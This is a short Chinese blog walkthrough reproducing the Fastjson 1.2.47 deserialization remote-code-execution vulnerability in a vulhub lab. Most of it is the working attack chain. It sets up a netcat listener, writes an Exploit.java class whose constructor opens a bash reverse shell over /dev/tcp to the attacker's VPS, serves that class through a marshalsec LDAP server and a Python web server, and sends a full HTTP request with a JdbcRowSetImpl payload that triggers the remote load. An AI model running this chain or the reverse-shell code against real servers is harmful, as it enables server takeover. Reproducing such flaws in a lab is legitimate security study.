Fastjson-1.2.47反序列化漏洞复现

2022-09-26 19:20:29 浏览数 (1)

Fastjson-1.2.47反序列化漏洞复现

提前准备:

1、使用vulhub来启动环境

2、VPS1:查看Java版本

[root@clean-post-1 ~]# java -version openjdk version "1.8.0_262" OpenJDK Runtime Environment (build 1.8.0_262-b10)

3、VPS2:nc -lvvp 1111 进行监听

进一步设置:

Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里

构造恶意的CLASS文件从而REC

  • 创建Exploit.java文件 public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS2的IP/1111 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
  • 编译成class文件,生成Exploit.class javac Exploit.java

启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)

  • 在启动LDAP服务前需要使用marshalsec来启动 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS1的IP/#Exploit 7777
  • 启动WEB服务 python2 -m http.server 80

到目前为止所有配置已经完成

最后干就完了!

  • 浏览器访问docker启动的jastjson环境http://docker环境IP:8090/
  • burp抓包修改包 `POST / HTTP/1.1 Host: docker环境IP:8090 Content-Type: application/json Content-Length: 271 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://VPS1的IP:7777/Exploit", "autoCommit":true } }`

最后结果图

Q.E.D.

0 人点赞